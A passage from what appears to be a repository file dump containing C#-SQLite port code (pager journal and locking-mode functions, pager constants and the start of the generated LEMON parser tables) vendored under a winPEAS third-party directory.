    ** locking-mode.\n        */\n        static bool sqlite3PagerLockingMode(Pager pPager, int eMode)\n        {\n            Debug.Assert(eMode == PAGER_LOCKINGMODE_QUERY\n            || eMode == PAGER_LOCKINGMODE_NORMAL\n            || eMode == PAGER_LOCKINGMODE_EXCLUSIVE);\n            Debug.Assert(PAGER_LOCKINGMODE_QUERY < 0);\n            Debug.Assert(PAGER_LOCKINGMODE_NORMAL >= 0 && PAGER_LOCKINGMODE_EXCLUSIVE >= 0);\n            if (eMode >= 0 && !pPager.tempFile)\n            {\n                pPager.exclusiveMode = eMode != 0;\n            }\n            return pPager.exclusiveMode;\n        }\n\n        /*\n        ** Get/set the journal-mode for this pager. Parameter eMode must be one of:\n        **\n        **    PAGER_JOURNALMODE_QUERY\n        **    PAGER_JOURNALMODE_DELETE\n        **    PAGER_JOURNALMODE_TRUNCATE\n        **    PAGER_JOURNALMODE_PERSIST\n        **    PAGER_JOURNALMODE_OFF\n        **    PAGER_JOURNALMODE_MEMORY\n        **\n        ** If the parameter is not _QUERY, then the journal_mode is set to the\n        ** value specified if the change is allowed.  The change is disallowed\n        ** for the following reasons:\n        **\n        **   *  An in-memory database can only have its journal_mode set to _OFF\n        **      or _MEMORY.\n        **\n        **   *  The journal mode may not be changed while a transaction is active.\n        **\n        ** The returned indicate the current (possibly updated) journal-mode.\n        */\n        static int sqlite3PagerJournalMode(Pager pPager, int eMode)\n        {\n            Debug.Assert(eMode == PAGER_JOURNALMODE_QUERY\n            || eMode == PAGER_JOURNALMODE_DELETE\n            || eMode == PAGER_JOURNALMODE_TRUNCATE\n            || eMode == PAGER_JOURNALMODE_PERSIST\n            || eMode == PAGER_JOURNALMODE_OFF\n            || eMode == PAGER_JOURNALMODE_MEMORY);\n            Debug.Assert(PAGER_JOURNALMODE_QUERY < 0);\n            if (eMode >= 0\n            && (\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n 0 == pPager.memDb\n#endif\n || eMode == PAGER_JOURNALMODE_MEMORY\n            || eMode == PAGER_JOURNALMODE_OFF)\n            && !pPager.dbModified\n            && (!isOpen(pPager.jfd) || 0 == pPager.journalOff)\n            )\n            {\n                if (isOpen(pPager.jfd))\n                {\n                    sqlite3OsClose(pPager.jfd);\n                }\n                pPager.journalMode = (u8)eMode;\n            }\n            return (int)pPager.journalMode;\n        }\n\n        /*\n        ** Get/set the size-limit used for persistent journal files.\n        **\n        ** Setting the size limit to -1 means no limit is enforced.\n        ** An attempt to set a limit smaller than -1 is a no-op.\n        */\n        static i64 sqlite3PagerJournalSizeLimit(Pager pPager, i64 iLimit)\n        {\n            if (iLimit >= -1)\n            {\n                pPager.journalSizeLimit = iLimit;\n            }\n            return pPager.journalSizeLimit;\n        }\n\n        /*\n        ** Return a pointer to the pPager.pBackup variable. The backup module\n        ** in backup.c maintains the content of this variable. This module\n        ** uses it opaquely as an argument to sqlite3BackupRestart() and\n        ** sqlite3BackupUpdate() only.\n        */\n        static sqlite3_backup sqlite3PagerBackupPtr(Pager pPager)\n        {\n            return pPager.pBackup;\n        }\n#endif // * SQLITE_OMIT_DISKIO */\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pager_h.cs",
    "content": "using Pgno = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This header file defines the interface that the sqlite page cache\n    ** subsystem.  The page cache subsystem reads and writes a file a page\n    ** at a time and provides a journal for rollback.\n    **\n    ** @(#) $Id: pager.h,v 1.104 2009/07/24 19:01:19 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    //#if !_PAGER_H_\n    //#define _PAGER_H_\n\n    /*\n    ** Default maximum size for persistent journal files. A negative\n    ** value means no limit. This value may be overridden using the\n    ** sqlite3PagerJournalSizeLimit() API. See also \"PRAGMA journal_size_limit\".\n    */\n#if !SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT\n    const int SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT = -1;//#define SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT -1\n#endif\n\n    /*\n** The type used to represent a page number.  The first page in a file\n** is called page 1.  0 is used to represent \"not a page\".\n*/\n    //typedef u32 Pgno;\n\n    /*\n    ** Each open file is managed by a separate instance of the \"Pager\" structure.\n    */\n    //typedef struct Pager Pager;\n\n    /*\n    ** Handle type for pages.\n    */\n    //typedef struct PgHdr DbPage;\n\n    /*\n    ** Page number PAGER_MJ_PGNO is never used in an SQLite database (it is\n    ** reserved for working around a windows/posix incompatibility). It is\n    ** used in the journal to signify that the remainder of the journal file\n    ** is devoted to storing a master journal name - there are no more pages to\n    ** roll back. See comments for function writeMasterJournal() in pager.c\n    ** for details.\n    */\n    //#define PAGER_MJ_PGNO(x) ((Pgno)((PENDING_BYTE/((x)->pageSize))+1))\n    static Pgno PAGER_MJ_PGNO( Pager x ) { return ( (Pgno)( ( PENDING_BYTE / ( ( x ).pageSize ) ) + 1 ) ); }\n    /*\n    ** Allowed values for the flags parameter to sqlite3PagerOpen().\n    **\n    ** NOTE: These values must match the corresponding BTREE_ values in btree.h.\n    */\n    //#define PAGER_OMIT_JOURNAL  0x0001    /* Do not use a rollback journal */\n    //#define PAGER_NO_READLOCK   0x0002    /* Omit readlocks on readonly files */\n    const int PAGER_OMIT_JOURNAL = 0x0001;   /* Do not use a rollback journal */\n    const int PAGER_NO_READLOCK = 0x0002;  /* Omit readlocks on readonly files */\n\n    /*\n    ** Valid values for the second argument to sqlite3PagerLockingMode().\n    */\n    //#define PAGER_LOCKINGMODE_QUERY      -1\n    //#define PAGER_LOCKINGMODE_NORMAL      0\n    //#define PAGER_LOCKINGMODE_EXCLUSIVE   1\n    static int PAGER_LOCKINGMODE_QUERY = -1;\n    static int PAGER_LOCKINGMODE_NORMAL = 0;\n    static int PAGER_LOCKINGMODE_EXCLUSIVE = 1;\n\n    /*\n    ** Valid values for the second argument to sqlite3PagerJournalMode().\n    */\n    //#define PAGER_JOURNALMODE_QUERY      -1\n    //#define PAGER_JOURNALMODE_DELETE      0   /* Commit by deleting journal file */\n    //#define PAGER_JOURNALMODE_PERSIST     1   /* Commit by zeroing journal header */\n    //#define PAGER_JOURNALMODE_OFF         2   /* Journal omitted.  */\n    //#define PAGER_JOURNALMODE_TRUNCATE    3   /* Commit by truncating journal */\n    //#define PAGER_JOURNALMODE_MEMORY      4   /* In-memory journal file */\n    const int PAGER_JOURNALMODE_QUERY = -1;\n    const int PAGER_JOURNALMODE_DELETE = 0;  /* Commit by deleting journal file */\n    const int PAGER_JOURNALMODE_PERSIST = 1; /* Commit by zeroing journal header */\n    const int PAGER_JOURNALMODE_OFF = 2;     /* Journal omitted.  */\n    const int PAGER_JOURNALMODE_TRUNCATE = 3;/* Commit by truncating journal */\n    const int PAGER_JOURNALMODE_MEMORY = 4;/* In-memory journal file */\n\n    /*\n    ** The remainder of this file contains the declarations of the functions\n    ** that make up the Pager sub-system API. See source code comments for\n    ** a detailed description of each routine.\n    */\n    /* Open and close a Pager connection. */\n    //int sqlite3PagerOpen(\n    //  sqlite3_vfs*,\n    //  Pager **ppPager,\n    //  const char*,\n    //  int,\n    //  int,\n    //  int,\n    ////  void(*)(DbPage*)\n    //);\n    //int sqlite3PagerClose(Pager *pPager);\n    //int sqlite3PagerReadFileheader(Pager*, int, unsigned char*);\n\n    /* Functions used to configure a Pager object. */\n    //void sqlite3PagerSetBusyhandler(Pager*, int(*)(void *), void *);\n    //int sqlite3PagerSetPagesize(Pager*, u16*, int);\n    //int sqlite3PagerMaxPageCount(Pager*, int);\n    //void sqlite3PagerSetCachesize(Pager*, int);\n    //void sqlite3PagerSetSafetyLevel(Pager*,int,int);\n    //int sqlite3PagerLockingMode(Pager *, int);\n    //int sqlite3PagerJournalMode(Pager *, int);\n    //i64 sqlite3PagerJournalSizeLimit(Pager *, i64);\n    //sqlite3_backup **sqlite3PagerBackupPtr(Pager*);\n\n    /* Functions used to obtain and release page references. */\n    //int sqlite3PagerAcquire(Pager *pPager, Pgno pgno, DbPage **ppPage, int clrFlag);\n    //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0)\n    //DbPage *sqlite3PagerLookup(Pager *pPager, Pgno pgno);\n    //void sqlite3PagerRef(DbPage*);\n    //void sqlite3PagerUnref(DbPage*);\n\n    /* Operations on page references. */\n    //int sqlite3PagerWrite(DbPage*);\n    //void sqlite3PagerDontWrite(DbPage*);\n    //int sqlite3PagerMovepage(Pager*,DbPage*,Pgno,int);\n    //int sqlite3PagerPageRefcount(DbPage*);\n    //void *sqlite3PagerGetData(DbPage *);\n    //void *sqlite3PagerGetExtra(DbPage *);\n\n    /* Functions used to manage pager transactions and savepoints. */\n    //int sqlite3PagerPagecount(Pager*, int*);\n    //int sqlite3PagerBegin(Pager*, int exFlag, int);\n    //int sqlite3PagerCommitPhaseOne(Pager*,const char *zMaster, int);\n    //int sqlite3PagerSync(Pager *pPager);\n    //int sqlite3PagerCommitPhaseTwo(Pager*);\n    //int sqlite3PagerRollback(Pager*);\n    //int sqlite3PagerOpenSavepoint(Pager *pPager, int n);\n    //int sqlite3PagerSavepoint(Pager *pPager, int op, int iSavepoint);\n    //int sqlite3PagerSharedLock(Pager *pPager);\n\n    /* Functions used to query pager state and configuration. */\n    //u8 sqlite3PagerIsreadonly(Pager*);\n    //int sqlite3PagerRefcount(Pager*);\n    //const char *sqlite3PagerFilename(Pager*);\n    //const sqlite3_vfs *sqlite3PagerVfs(Pager*);\n    //sqlite3_file *sqlite3PagerFile(Pager*);\n    //const char *sqlite3PagerJournalname(Pager*);\n    //int sqlite3PagerNosync(Pager*);\n    //void *sqlite3PagerTempSpace(Pager*);\n    //int sqlite3PagerIsMemdb(Pager*);\n\n    /* Functions used to truncate the database file. */\n    //void sqlite3PagerTruncateImage(Pager*,Pgno);\n\n    /* Functions to support testing and debugging. */\n    //#if !NDEBUG || SQLITE_TEST\n    //  Pgno sqlite3PagerPagenumber(DbPage*);\n    //  int sqlite3PagerIswriteable(DbPage*);\n    //#endif\n    //#if SQLITE_TEST\n    //  int *sqlite3PagerStats(Pager*);\n    //  void sqlite3PagerRefdump(Pager*);\n    //  void disable_simulated_io_errors(void);\n    //  void enable_simulated_io_errors(void);\n    //#else\n    //# define disable_simulated_io_errors()\n    //# define enable_simulated_io_errors()\n    //#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/parse_c.cs",
    "content": "#define YYFALLBACK\n#define YYWILDCARD\n\nusing System.Diagnostics;\nusing u8 = System.Byte;\n\n\nusing YYCODETYPE = System.Int32;\nusing YYACTIONTYPE = System.Int32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3ParserTOKENTYPE = CSSQLite.Token;\n\n  public partial class CSSQLite\n  {\n    /*\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    /* Driver template for the LEMON parser generator.\n    ** The author disclaims copyright to this source code.\n    **\n    ** This version of \"lempar.c\" is modified, slightly, for use by SQLite.\n    ** The only modifications are the addition of a couple of NEVER()\n    ** macros to disable tests that are needed in the case of a general\n    ** LALR(1) grammar but which are always false in the\n    ** specific grammar used by SQLite.\n    */\n    /* First off, code is included that follows the \"include\" declaration\n    ** in the input grammar file. */\n    //#include <stdio.h>\n    //#line 53 \"parse.y\"\n\n    //#include \"sqliteInt.h\"\n    /*\n    ** Disable all error recovery processing in the parser push-down\n    ** automaton.\n    */\n    //#define YYNOERRORRECOVERY 1\n    const int YYNOERRORRECOVERY = 1;\n\n    /*\n    ** Make yytestcase() the same as testcase()\n    */\n    //#define yytestcase(X) testcase(X)\n    static void yytestcase<T>(T X) { testcase(X); }\n\n    /*\n    ** An instance of this structure holds information about the\n    ** LIMIT clause of a SELECT statement.\n    */\n    public struct LimitVal\n    {\n      public Expr pLimit;    /* The LIMIT expression.  NULL if there is no limit */\n      public Expr pOffset;   /* The OFFSET expression.  NULL if there is none */\n    };\n\n    /*\n    ** An instance of this structure is used to store the LIKE,\n    ** GLOB, NOT LIKE, and NOT GLOB operators.\n    */\n    public struct LikeOp\n    {\n      public Token eOperator;  /* \"like\" or \"glob\" or \"regexp\" */\n      public bool not;         /* True if the NOT keyword is present */\n    };\n\n    /*\n    ** An instance of the following structure describes the event of a\n    ** TRIGGER.  \"a\" is the event type, one of TK_UPDATE, TK_INSERT,\n    ** TK_DELETE, or TK_INSTEAD.  If the event is of the form\n    **\n    **      UPDATE ON (a,b,c)\n    **\n    ** Then the \"b\" IdList records the list \"a,b,c\".\n    */\n#if !SQLITE_OMIT_TRIGGER\n    public struct TrigEvent { public int a; public IdList b; };\n#endif\n    /*\n** An instance of this structure holds the ATTACH key and the key type.\n*/\n    public struct AttachKey { public int type; public Token key; };\n\n    //#line 723 \"parse.y\"\n\n    /* This is a utility routine used to set the ExprSpan.zStart and\n    ** ExprSpan.zEnd values of pOut so that the span covers the complete\n    ** range of text beginning with pStart and going to the end of pEnd.\n    */\n    static void spanSet(ExprSpan pOut, Token pStart, Token pEnd)\n    {\n      pOut.zStart = pStart.z;\n      pOut.zEnd = pEnd.z.Substring(pEnd.n);\n    }\n\n    /* Construct a new Expr object from a single identifier.  Use the\n    ** new Expr to populate pOut.  Set the span of pOut to be the identifier\n    ** that created the expression.\n    */\n    static void spanExpr(ExprSpan pOut, Parse pParse, int op, Token pValue)\n    {\n      pOut.pExpr = sqlite3PExpr(pParse, op, 0, 0, pValue);\n      pOut.zStart = pValue.z;\n      pOut.zEnd = pValue.z.Substring(pValue.n);\n    }\n    //#line 818 \"parse.y\"\n\n    /* This routine constructs a binary expression node out of two ExprSpan\n    ** objects and uses the result to populate a new ExprSpan object.\n    */\n    static void spanBinaryExpr(\n    ExprSpan pOut,     /* Write the result here */\n    Parse pParse,      /* The parsing context.  Errors accumulate here */\n    int op,            /* The binary operation */\n    ExprSpan pLeft,    /* The left operand */\n    ExprSpan pRight    /* The right operand */\n    )\n    {\n      pOut.pExpr = sqlite3PExpr(pParse, op, pLeft.pExpr, pRight.pExpr, 0);\n      pOut.zStart = pLeft.zStart;\n      pOut.zEnd = pRight.zEnd;\n    }\n    //#line 870 \"parse.y\"\n\n    /* Construct an expression node for a unary postfix operator\n    */\n    static void spanUnaryPostfix(\n    ExprSpan pOut,        /* Write the new expression node here */\n    Parse pParse,         /* Parsing context to record errors */\n    int op,               /* The operator */\n    ExprSpan pOperand,    /* The operand */\n    Token pPostOp         /* The operand token for setting the span */\n    )\n    {\n      pOut.pExpr = sqlite3PExpr(pParse, op, pOperand.pExpr, 0, 0);\n      pOut.zStart = pOperand.zStart;\n      pOut.zEnd = pPostOp.z.Substring(pPostOp.n);\n    }\n    //#line 892 \"parse.y\"\n\n    /* Construct an expression node for a unary prefix operator\n    */\n    static void spanUnaryPrefix(\n    ExprSpan pOut,        /* Write the new expression node here */\n    Parse pParse,         /* Parsing context to record errors */\n    int op,               /* The operator */\n    ExprSpan pOperand,    /* The operand */\n    Token pPreOp          /* The operand token for setting the span */\n    )\n    {\n      pOut.pExpr = sqlite3PExpr(pParse, op, pOperand.pExpr, 0, 0);\n      pOut.zStart = pPreOp.z;\n      pOut.zEnd = pOperand.zEnd;\n    }\n    //#line 129 \"parse.c\"\n    /* Next is all token values, in a form suitable for use by makeheaders.\n    ** This section will be null unless lemon is run with the -m switch.\n    */\n    /*\n    ** These constants (all generated automatically by the parser generator)\n    ** specify the various kinds of tokens (terminals) that the parser\n    ** understands.\n    **\n    ** Each symbol here is a terminal symbol in the grammar.\n    */\n    /* Make sure the INTERFACE macro is defined.\n    */\n#if !INTERFACE\n    //# define INTERFACE 1\n#endif\n    /* The next thing included is series of defines which control\n** various aspects of the generated parser.\n**    YYCODETYPE         is the data type used for storing terminal\n**                       and nonterminal numbers.  \"unsigned char\" is\n**                       used if there are fewer than 250 terminals\n**                       and nonterminals.  \"int\" is used otherwise.\n**    YYNOCODE           is a number of type YYCODETYPE which corresponds\n**                       to no legal terminal or nonterminal number.  This\n**                       number is used to fill in empty slots of the hash\n**                       table.\n**    YYFALLBACK         If defined, this indicates that one or more tokens\n**                       have fall-back values which should be used if the\n**                       original value of the token will not parse.\n**    YYACTIONTYPE       is the data type used for storing terminal\n**                       and nonterminal numbers.  \"unsigned char\" is\n**                       used if there are fewer than 250 rules and\n**                       states combined.  \"int\" is used otherwise.\n**    sqlite3ParserTOKENTYPE     is the data type used for minor tokens given\n**                       directly to the parser from the tokenizer.\n**    YYMINORTYPE        is the data type used for all minor tokens.\n**                       This is typically a union of many types, one of\n**                       which is sqlite3ParserTOKENTYPE.  The entry in the union\n**                       for base tokens is called \"yy0\".\n**    YYSTACKDEPTH       is the maximum depth of the parser's stack.  If\n**                       zero the stack is dynamically sized using realloc()\n**    sqlite3ParserARG_SDECL     A static variable declaration for the %extra_argument\n**    sqlite3ParserARG_PDECL     A parameter declaration for the %extra_argument\n**    sqlite3ParserARG_STORE     Code to store %extra_argument into yypParser\n**    sqlite3ParserARG_FETCH     Code to extract %extra_argument from yypParser\n**    YYNSTATE           the combined number of states.\n**    YYNRULE            the number of rules in the grammar\n**    YYERRORSYMBOL      is the code number of the error symbol.  If not\n**                       defined, then do no error processing.\n*/\n    //#define YYCODETYPE unsigned short char\n    const int YYNOCODE = 254;\n    //#define YYACTIONTYPE unsigned short int\n    const int YYWILDCARD = 65;\n    //#define sqlite3ParserTOKENTYPE Token\n    public class YYMINORTYPE\n    {\n      public int yyinit;\n      public sqlite3ParserTOKENTYPE yy0 = new sqlite3ParserTOKENTYPE();\n      public Select yy3;\n      public ExprList yy14;\n      public SrcList yy65;\n      public LikeOp yy96;\n      public Expr yy132;\n      public u8 yy186;\n      public int yy328;\n      public ExprSpan yy346 = new ExprSpan();\n#if !SQLITE_OMIT_TRIGGER\n      public TrigEvent yy378;\n#endif\n      public IdList yy408;\n      public struct _yy429 { public int value; public int mask;}public _yy429 yy429;\n#if !SQLITE_OMIT_TRIGGER\n      public TriggerStep yy473;\n#endif\n      public LimitVal yy476;\n    }\n\n#if !YYSTACKDEPTH\n    const int YYSTACKDEPTH = 100;\n#endif\n    //#define sqlite3ParserARG_SDECL Parse pParse;\n    //#define sqlite3ParserARG_PDECL ,Parse pParse\n    //#define sqlite3ParserARG_FETCH Parse pParse = yypParser.pParse\n    //#define sqlite3ParserARG_STORE yypParser.pParse = pParse\n    const int YYNSTATE = 629;\n    const int YYNRULE = 329;\n    //#define YYFALLBACK\n    const int YY_NO_ACTION = (YYNSTATE + YYNRULE + 2);\n    const int YY_ACCEPT_ACTION = (YYNSTATE + YYNRULE + 1);\n    const int YY_ERROR_ACTION = (YYNSTATE + YYNRULE);\n\n    /* The yyzerominor constant is used to initialize instances of\n    ** YYMINORTYPE objects to zero. */\n    YYMINORTYPE yyzerominor = new YYMINORTYPE();//static const YYMINORTYPE yyzerominor = { 0 };\n\n    /* Define the yytestcase() macro to be a no-op if is not already defined\n    ** otherwise.\n    **\n    ** Applications can choose to define yytestcase() in the %include section\n    ** to a macro that can assist in verifying code coverage.  For production\n    ** code the yytestcase() macro should be turned off.  But it is useful\n    ** for testing.\n    */\n    //#if !yytestcase\n    //# define yytestcase(X)\n    //#endif\n\n    /* Next are the tables used to determine what action to take based on the\n    ** current state and lookahead token.  These tables are used to implement\n    ** functions that take a state number and lookahead value and return an\n    ** action integer.\n    **\n    ** Suppose the action integer is N.  Then the action is determined as\n    ** follows\n    **\n    **   0 <= N < YYNSTATE                  Shift N.  That is, push the lookahead\n    **                                      token onto the stack and goto state N.\n    **\n    **   YYNSTATE <= N < YYNSTATE+YYNRULE   Reduce by rule N-YYNSTATE.\n    **\n    **   N == YYNSTATE+YYNRULE              A syntax error has occurred.\n    **\n    **   N == YYNSTATE+YYNRULE+1            The parser accepts its input.\n    **\n    **   N == YYNSTATE+YYNRULE+2            No such action.  Denotes unused\n    **                                      slots in the yy_action[] table.\n    **\n    ** The action table is constructed as a single large table named yy_action[].\n    ** Given state S and lookahead X, the action is computed as\n    **\n    **      yy_action[ yy_shift_ofst[S] + X ]\n    **\n    ** If the index value yy_shift_ofst[S]+X is out of range or if the value\n    ** yy_lookahead[yy_shift_ofst[S]+X] is not equal to X or if yy_shift_ofst[S]\n    ** is equal to YY_SHIFT_USE_DFLT, it means that the action is not in the table\n    ** and that yy_default[S] should be used instead.\n    **\n    ** The formula above is for computing the action when the lookahead is\n    ** a terminal symbol.  If the lookahead is a non-terminal (as occurs after\n    ** a reduce action) then the yy_reduce_ofst[] array is used in place of\n    ** the yy_shift_ofst[] array and YY_REDUCE_USE_DFLT is used in place of\n    ** YY_SHIFT_USE_DFLT.\n    **\n    ** The following are the tables generated in this section:\n    **\n    **  yy_action[]        A single table containing all actions.\n    **  yy_lookahead[]     A table containing the lookahead for each entry in\n    **                     yy_action.  Used to detect hash collisions.\n    **  yy_shift_ofst[]    For each state, the offset into yy_action for\n    **                     shifting terminals.\n    **  yy_reduce_ofst[]   For each state, the offset into yy_action for\n    **                     shifting non-terminals after a reduce.\n    **  yy_default[]       Default action for each state.\n    */\n    static YYACTIONTYPE[] yy_action = new YYACTIONTYPE[]{\n/*     0 */   309,  959,  178,  628,    2,  153,  216,  448,   24,   24,\n/*    10 */    24,   24,  497,   26,   26,   26,   26,   27,   27,   28,\n/*    20 */    28,   28,   29,  218,  422,  423,  214,  422,  423,  455,\n/*    30 */   461,   31,   26,   26,   26,   26,   27,   27,   28,   28,\n/*    40 */    28,   29,  218,   30,  492,   32,  137,   23,   22,  315,\n/*    50 */   465,  466,  462,  462,   25,   25,   24,   24,   24,   24,\n/*    60 */   445,   26,   26,   26,   26,   27,   27,   28,   28,   28,\n/*    70 */    29,  218,  309,  218,  318,  448,  521,  499,   45,   26,\n/*    80 */    26,   26,   26,   27,   27,   28,   28,   28,   29,  218,\n/*    90 */   422,  423,  425,  426,  159,  425,  426,  366,  369,  370,\n/*   100 */   318,  455,  461,  394,  523,   21,  188,  504,  371,   27,\n/*   110 */    27,   28,   28,   28,   29,  218,  422,  423,  424,   23,\n/*   120 */    22,  315,  465,  466,  462,  462,   25,   25,   24,   24,\n/*   130 */    24,   24,  564,   26,   26,   26,   26,   27,   27,   28,\n/*   140 */    28,   28,   29,  218,  309,  230,  513,  138,  477,  220,\n/*   150 */   557,  148,  135,  260,  364,  265,  365,  156,  425,  426,\n/*   160 */   245,  610,  337,   30,  269,   32,  137,  448,  608,  609,\n/*   170 */   233,  230,  499,  455,  461,   57,  515,  334,  135,  260,\n/*   180 */   364,  265,  365,  156,  425,  426,  444,   78,  417,  414,\n/*   190 */   269,   23,   22,  315,  465,  466,  462,  462,   25,   25,\n/*   200 */    24,   24,   24,   24,  348,   26,   26,   26,   26,   27,\n/*   210 */    27,   28,   28,   28,   29,  218,  309,  216,  543,  556,\n/*   220 */   486,  130,  498,  607,   30,  337,   32,  137,  351,  396,\n/*   230 */   438,   63,  337,  361,  424,  448,  487,  337,  424,  544,\n/*   240 */   334,  217,  195,  606,  605,  455,  461,  334,   18,  444,\n/*   250 */    85,  488,  334,  347,  192,  565,  444,   78,  316,  472,\n/*   260 */   473,  444,   85,   23,   22,  315,  465,  466,  462,  462,\n/*   270 */    25,   25,   24,   24,   24,   24,  445,   26,   26,   26,\n/*   280 */    26,   27,   27,   28,   28,   28,   29,  218,  309,  353,\n/*   290 */   223,  320,  607,  193,  238,  337,  481,   16,  351,  185,\n/*   300 */   330,  419,  222,  350,  604,  219,  215,  424,  112,  337,\n/*   310 */   334,  157,  606,  408,  213,  563,  538,  455,  461,  444,\n/*   320 */    79,  219,  562,  524,  334,  576,  522,  629,  417,  414,\n/*   330 */   450,  581,  441,  444,   78,   23,   22,  315,  465,  466,\n/*   340 */   462,  462,   25,   25,   24,   24,   24,   24,  445,   26,\n/*   350 */    26,   26,   26,   27,   27,   28,   28,   28,   29,  218,\n/*   360 */   309,  452,  452,  452,  159,  399,  311,  366,  369,  370,\n/*   370 */   337,  251,  404,  407,  219,  355,  556,    4,  371,  422,\n/*   380 */   423,  397,  286,  285,  244,  334,  540,  566,   63,  455,\n/*   390 */   461,  424,  216,  478,  444,   93,   28,   28,   28,   29,\n/*   400 */   218,  413,  477,  220,  578,   40,  545,   23,   22,  315,\n/*   410 */   465,  466,  462,  462,   25,   25,   24,   24,   24,   24,\n/*   420 */   582,   26,   26,   26,   26,   27,   27,   28,   28,   28,\n/*   430 */    29,  218,  309,  546,  337,   30,  517,   32,  137,  378,\n/*   440 */   326,  337,  874,  153,  194,  448,    1,  425,  426,  334,\n/*   450 */   422,  423,  422,  423,   29,  218,  334,  613,  444,   71,\n/*   460 */   210,  455,  461,   66,  581,  444,   93,  422,  423,  626,\n/*   470 */   949,  303,  949,  500,  479,  555,  202,   43,  445,   23,\n/*   480 */    22,  315,  465,  466,  462,  462,   25,   25,   24,   24,\n/*   490 */    24,   24,  436,   26,   26,   26,   26,   27,   27,   28,\n/*   500 */    28,   28,   29,  218,  309,  187,  211,  360,  520,  440,\n/*   510 */   246,  327,  622,  448,  397,  286,  285,  551,  425,  426,\n/*   520 */   425,  426,  334,  159,  337,  216,  366,  369,  370,  494,\n/*   530 */   556,  444,    9,  455,  461,  425,  426,  371,  495,  334,\n/*   540 */   445,  618,   63,  504,  198,  424,  501,  449,  444,   72,\n/*   550 */   474,   23,   22,  315,  465,  466,  462,  462,   25,   25,\n/*   560 */    24,   24,   24,   24,  395,   26,   26,   26,   26,   27,\n/*   570 */    27,   28,   28,   28,   29,  218,  309,  486,  445,  337,\n/*   580 */   537,   60,  224,  479,  343,  202,  398,  337,  439,  554,\n/*   590 */   199,  140,  337,  487,  334,  526,  527,  551,  516,  508,\n/*   600 */   456,  457,  334,  444,   67,  455,  461,  334,  488,  476,\n/*   610 */   528,  444,   76,   39,  424,   41,  444,   97,  579,  527,\n/*   620 */   529,  459,  460,   23,   22,  315,  465,  466,  462,  462,\n/*   630 */    25,   25,   24,   24,   24,   24,  337,   26,   26,   26,\n/*   640 */    26,   27,   27,   28,   28,   28,   29,  218,  309,  337,\n/*   650 */   458,  334,  272,  621,  307,  337,  312,  337,  374,   64,\n/*   660 */   444,   96,  317,  448,  334,  342,  472,  473,  469,  337,\n/*   670 */   334,  508,  334,  444,  101,  359,  252,  455,  461,  444,\n/*   680 */    99,  444,  104,  358,  334,  345,  424,  340,  157,  468,\n/*   690 */   468,  424,  493,  444,  105,   23,   22,  315,  465,  466,\n/*   700 */   462,  462,   25,   25,   24,   24,   24,   24,  337,   26,\n/*   710 */    26,   26,   26,   27,   27,   28,   28,   28,   29,  218,\n/*   720 */   309,  337,  181,  334,  499,   56,  139,  337,  219,  268,\n/*   730 */   384,  448,  444,  129,  382,  387,  334,  168,  337,  389,\n/*   740 */   508,  424,  334,  311,  424,  444,  131,  496,  269,  455,\n/*   750 */   461,  444,   59,  334,  424,  424,  391,  340,    8,  468,\n/*   760 */   468,  263,  444,  102,  390,  290,  321,   23,   22,  315,\n/*   770 */   465,  466,  462,  462,   25,   25,   24,   24,   24,   24,\n/*   780 */   337,   26,   26,   26,   26,   27,   27,   28,   28,   28,\n/*   790 */    29,  218,  309,  337,  138,  334,  416,    2,  268,  337,\n/*   800 */   389,  337,  443,  325,  444,   77,  442,  293,  334,  291,\n/*   810 */     7,  482,  337,  424,  334,  424,  334,  444,  100,  499,\n/*   820 */   339,  455,  461,  444,   68,  444,   98,  334,  254,  504,\n/*   830 */   232,  626,  948,  504,  948,  231,  444,  132,   47,   23,\n/*   840 */    22,  315,  465,  466,  462,  462,   25,   25,   24,   24,\n/*   850 */    24,   24,  337,   26,   26,   26,   26,   27,   27,   28,\n/*   860 */    28,   28,   29,  218,  309,  337,  280,  334,  256,  538,\n/*   870 */   362,  337,  258,  268,  622,  549,  444,  133,  203,  140,\n/*   880 */   334,  424,  548,  337,  180,  158,  334,  292,  424,  444,\n/*   890 */   134,  287,  552,  455,  461,  444,   69,  443,  334,  463,\n/*   900 */   340,  442,  468,  468,  427,  428,  429,  444,   80,  281,\n/*   910 */   322,   23,   33,  315,  465,  466,  462,  462,   25,   25,\n/*   920 */    24,   24,   24,   24,  337,   26,   26,   26,   26,   27,\n/*   930 */    27,   28,   28,   28,   29,  218,  309,  337,  406,  334,\n/*   940 */   212,  268,  550,  337,  268,  389,  329,  177,  444,   81,\n/*   950 */   542,  541,  334,  475,  475,  337,  424,  216,  334,  424,\n/*   960 */   424,  444,   70,  535,  368,  455,  461,  444,   82,  405,\n/*   970 */   334,  261,  392,  340,  445,  468,  468,  587,  323,  444,\n/*   980 */    83,  324,  262,  288,   22,  315,  465,  466,  462,  462,\n/*   990 */    25,   25,   24,   24,   24,   24,  337,   26,   26,   26,\n/*  1000 */    26,   27,   27,   28,   28,   28,   29,  218,  309,  337,\n/*  1010 */   211,  334,  294,  356,  340,  337,  468,  468,  532,  533,\n/*  1020 */   444,   84,  403,  144,  334,  574,  600,  337,  424,  573,\n/*  1030 */   334,  337,  420,  444,   86,  253,  234,  455,  461,  444,\n/*  1040 */    87,  430,  334,  383,  445,  431,  334,  274,  196,  331,\n/*  1050 */   424,  444,   88, 